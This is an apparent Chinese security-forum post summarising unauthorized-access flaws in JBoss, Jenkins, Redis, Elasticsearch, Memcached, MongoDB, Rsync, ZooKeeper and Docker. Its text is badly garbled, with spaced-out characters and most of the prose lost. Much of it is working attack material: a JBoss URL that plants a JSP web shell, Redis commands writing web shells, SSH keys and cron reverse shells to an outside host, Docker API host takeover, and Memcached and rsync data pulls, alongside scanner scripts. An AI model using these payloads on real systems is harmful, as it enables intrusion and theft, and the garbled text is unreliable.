[1007] 2020-07-24_常见未授权访问漏洞总结

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-16
2020-07-24_常见未授权访问漏洞总结 访   B y p a s s   B y p a s s   2 0 2 0 - 0 7 - 2 4 访 J b o s s   访 J e n k i n s   访 l d a p 访 R e d i s 访 e l a s t i c s e a r c h 访 M e n C a c h e 访 M o n g o d b 访 R s y n c 访 Z o o k e e p e r 访 D o c k e r 访 1 J b o s s 访 访 访 J b o s s   w e b ( h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / j m x - c o n s o l e ) 1 2 1 . t x t 3 访 1 . t x t j e x b o s s 使 P y t h o n J b o s s w e b - c o n s o l e j m x - c o n s o l e J M X I n v o k e r S e r v l e t s h e l l j m x - c o n s o l e w e b - c o n s o l e 2 J e n k i n s   访 访 访 u r l 访 h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / j m x - c o n s o l e / / H t m l A d a p t o r ? a c t i o n = i n v o k e O p B y N a m e & n a m e = j b o s s . a d m i n % 3 A s e r v i c e % 3 D D e p l o y m e n t F i l e R e p o s i t o r y & m e t h o d N a m e = s t o r e & a r g T y p e = j a v a . l a n g . S t r i n g & a r g 0 = A u g u s t . w a r & a r g T y p e = j a v a . l a n g . S t r i n g & & a r g 1 = s h e l l & a r g T y p e = j a v a . l a n g . S t r i n g & a r g 2 = . j s p & a r g T y p e = j a v a . l a n g . S t r i n g & a r g 3 = % 3 c % 2 5 + i f ( r e q u e s t . g e t P a r a m e t e r ( % 2 2 f % 2 2 ) ! % 3 d n u l l ) ( n e w + j a v a . i o . F i l e O u t p u t S t r e a m ( a p p l i c a t i o n . g e t R e a l P a t h ( % 2 2 % 2 f % 2 2 ) % 2 b r e q u e s t . g e t P a r a m e t e r ( % 2 2 f % 2 2 ) ) ) . w r i t e ( r e q u e s t . g e t P a r a m e t e r ( % 2 2 t % 2 2 ) . g e t B y t e s ( ) ) % 3 b + % 2 5 % 3 e & a r g T y p e = b o o l e a n & a r g 4 = T r u e h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / A u g u s t / s h e l l . j s p ? f = 1 . t x t & t = h e l l o   w o r l d ! h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / A u g u s t / 1 . t x t h t t p : / / < t a r g e t > : 8 0 8 0 / m a n a g e
3 l d a p 访 访 L d a p 访 使 L d a p B r o w s e r 4 R e d i s 访 访 姿 w e b s h e l l d i r a d b f i l e n a m e b s a v e b g s a v e a / b 姿 r o o t 1 s s h 2 R e d i s h t t p : / / < t a r g e t > : 8 0 8 0 / m a n a g e h t t p : / / < t a r g e t > : 8 0 8 0 / s c r i p t # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ f r o m   l d a p 3   i m p o r t   C o n n e c t i o n , S e r v e r , A L L d e f   l d a p _ a n o n y m o u s ( i p ) :         t r y :                 s e r v e r   =   S e r v e r ( i p , g e t _ i n f o = A L L , c o n n e c t _ t i m e o u t = 1 )                 c o n n   =   C o n n e c t i o n ( s e r v e r ,   a u t o _ b i n d = T r u e )                 p r i n t   " [ + ]   l d a p   l o g i n   f o r   a n o n y m o u s "                 c o n n . c l o s e d         e x c e p t :                 # p a s s                 p r i n t   ' [ - ]   c h e c k i n g   f o r   l d a p   a n o n y m o u s   f a i l ' c o n f i g   s e t   d i r   / h o m e / w w w r o o t / d e f a u l t / c o n f i g   s e t   d b f i l e n a m e   r e d i s . p h p s e t   w e b s h e l l   " < ? p h p   p h p i n f o ( ) ;   ? > " s a v e s s h - k e y g e n   - t   r s a   - P   ' '           # /                                                       c d   / r o o t / . s s h / ( e c h o   - e   " n n " ;   c a t   i d _ r s a . p u b ;   e c h o   - e   " n n " )   >   f o o . t x t     #   f o o . t x t     R e d i s   c a t   f o o . t x t   |   . / r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 2 5 . 1 4 0     - x   s e t   c r a c k i t . / r e d i s - c l i   - h   1 9 2 . 1 6 8 . 1 2 5 . 1 4 0 c o n f i g   s e t   d i r   / r o o t / . s s h / c o n f i g   g e t   d i r c o n f i g   s e t   d b f i l e n a m e   " a u t h o r i z e d _ k e y s "
r e d i s 姿 c o n t r a b s h e l l 姿 R C E R e i d s   4 . x R e d i s R e d i s R e d i s C . s o g e t s h e l l 1 . s o R e d i s M o d u l e s - E x e c u t e C o m m a n d 使 m a k e 2 p y t h o n   r e d i s - r c e . p y   - r   i p - p     - L   i p   - f   . s o 5 E l a s t i c s e a r c h 访 访 E l a s t i c s e a r c h   9 2 0 0   访 h t t p : / / i p : p o r t c o n f i g   s e t   d b f i l e n a m e   " a u t h o r i z e d _ k e y s " s a v e c o n f i g   s e t   d i r   / v a r / s p o o l / c r o n / c r o n t a b s / c o n f i g   s e t   d b f i l e n a m e   r o o t f l u s h a l l s e t   t e s t   " *   *   *   *   *   / b i n / b a s h   - i   > &   / d e v / t c p / 1 0 . 1 . 1 . 2 1 1 : 1 2 3 4   0 > & 1 " s a v e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / n 0 b 0 d y C N / R e d i s M o d u l e s - E x e c u t e C o m m a n d c d   R e d i s M o d u l e s - E x e c u t e C o m m a n d / m a k e g i t   c l o n e   h t t p s : / / g i t h u b . c o m / R i d t e r / r e d i s - r c e . g i t c d   r e d i s - r c e / c p   . . / R e d i s M o d u l e s - E x e c u t e C o m m a n d / s r c / m o d u l e . s o   . / p i p   i n s t a l l   - r   r e q u i r e m e n t s . t x t   p y t h o n   r e d i s - r c e . p y   - r   1 9 2 . 1 6 8 . 2 8 . 1 5 2   - p   6 3 7 9   - L   1 9 2 . 1 6 8 . 2 8 . 1 3 7   - f   m o d u l e . s o # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ i m p o r t   r e q u e s t s d e f   E l a s t i c s e a r c h _ c h e c k ( i p ,   p o r t = 9 2 0 0 ,   t i m e o u t = 5 ) :         t r y :             u r l   =   " h t t p : / / " + i p + " : " + s t r ( p o r t ) + " / _ c a t "             r e s p o n s e   =   r e q u e s t s . g e t ( u r l )           e x c e p t :             p a s s         i f   " / _ c a t / m a s t e r "   i n   r e s p o n s e . c o n t e n t :             p r i n t   ' [ + ]   E l a s t i c s e a r c h   U n a u t h o r i z e d :   '   + i p + ' : ' + s t r ( p o r t ) h t t p : / / l o c a l h o s t : 9 2 0 0 / _ c a t / i n d i c e s h t t p : / / l o c a l h o s t : 9 2 0 0 / _ r i v e r / _ s e a r c h   h t t p : / / l o c a l h o s t : 9 2 0 0 / _ n o d e s   h e a d
1 I P 访 I P 2 c o n f i g / e l a s t i c s e a r c h . y m l 9 2 0 0 6 M e n C a c h e 访 访 M e m c a c h e d     1 1 2 1 1   访 访 i p   1 2 7 . 0 . 0 . 1 f i r e w a l l 访 7 M o n g o d b 访 访 M o n g o D B   ( ) 访 访 8 R s y n c 访 访 访 h e a d h t t p : / / l o c a l h o s t : 9 2 0 0 / _ p l u g i n / h e a d /   w e b h t t p . b a s i c . e n a b l e d   t r u e   # H T T P     h t t p . b a s i c . u s e r   " a d m i n "   #     h t t p . b a s i c . p a s s w o r d   " a d m i n _ p w "   #     h t t p . b a s i c . i p w h i t e l i s t   [ " l o c a l h o s t " ,   " 1 2 7 . 0 . 0 . 1 " ] # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ d e f   M e m c a c h e _ c h e c k ( i p ,   p o r t = 1 1 2 1 1 ,   t i m e o u t = 5 ) :         t r y :                 s o c k e t . s e t d e f a u l t t i m e o u t ( t i m e o u t )                 s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 s . c o n n e c t ( ( i p ,   i n t ( p o r t ) ) )                 s . s e n d ( " s t a t s r n " )                 r e s u l t   =   s . r e c v ( 1 0 2 4 )                 i f   " S T A T   v e r s i o n "   i n   r e s u l t :                         p r i n t   ' [ + ]   M e m c a c h e   U n a u t h o r i z e d :   '   + i p + ' : ' + s t r ( p o r t )         e x c e p t   E x c e p t i o n ,   e :                 p a s s # m e m c a c h e   1 1 2 1 1 t e l n e t   x . x . x . x     1 1 2 1 1 s t a t s     / / m e m c a c h e   s t a t s   i t e m s     / / i t e m s s t a t s   c a c h e d u m p   3 2   0     / / k e y g e t   : s t a t e : 2 6 4 8 6 1 5 3 9 2 2 8 4 0 1 3 7 3 : 2 6 1 5 8 8       / / k e y v a l u e   # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ d e f   m o n g o d b ( i p , p o r t ) :                 t r y :                 c l i e n t   =   M o n g o C l i e n t ( i p , p o r t )                 d b = c l i e n t . l o c a l                 f l a g   =   d b . c o l l e c t i o n _ n a m e s ( )                 i f   f l a g :                                 p r i n t   " [ + ]   M o n g o d b   l o g i n   f o r   a n o n y m o u s "         e x c e p t   E x c e p t i o n ,   e :                 p a s s r s y n c   1 0 . 0 . 0 . 1 2   : : r s y n c   1 0 . 0 . 0 . 1 2   : :   w w w   /
访 i p 9 Z o o k e e p e r 访 访 Z o o K e e p e r 2 1 8 1 访 e n v i J a v a i p 访 1 0 D o c k e r 访 访 d o c k e r   r e m o t e   a p i d o c k e r d o c k e r 0 . 0 . 0 . 0 A P I d o c k e r d o c k e r   d a e m o n   a p i   d o c k e r 1 / m n t 2 s h e l l / v a r / s p o o l / c r o n / r o o t 3 宿 s h e l l r s y n c     a v z   1 0 . 0 . 0 . 1 2   : :   W W W /     / v a r / t m p r s y n c     a v z   1 0 . 0 . 0 . 1 2   : :   w w w /     / v a r / t m p r s y n c   - a v z   w e b s h e l l   1 0 . 0 . 0 . 1 2   : :   W W W   / e c h o   e n v i | n c   1 9 2 . 1 6 8 . 1 5 . 7 4   2 1 8 1 s u d o   d o c k e r d   - H   u n i x : / / / v a r / r u n / d o c k e r . s o c k   - H   0 . 0 . 0 . 0 : 2 3 7 5 # d o c k e r   p s c u r l   h t t p : / / < t a r g e t > : 2 3 7 5 / c o n t a i n e r s / j s o n # d o c k e r   - H   t c p : / / < t a r g e t > : 2 3 7 5   p s   - a s u d o   d o c k e r   - H   t c p : / / 1 0 . 1 . 1 . 2 1 1 : 2 3 7 5   r u n   - i t   - v   / : / m n t   n g i n x : l a t e s t   / b i n / b a s h e c h o   ' *   *   *   *   *   / b i n / b a s h   - i   > &   / d e v / t c p / 1 0 . 1 . 1 . 2 1 4 / 1 2 3 4 5   0 > & 1 '   > >   / m n t / v a r / s p o o l / c r o n / c r o n t a b s / r o o t
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则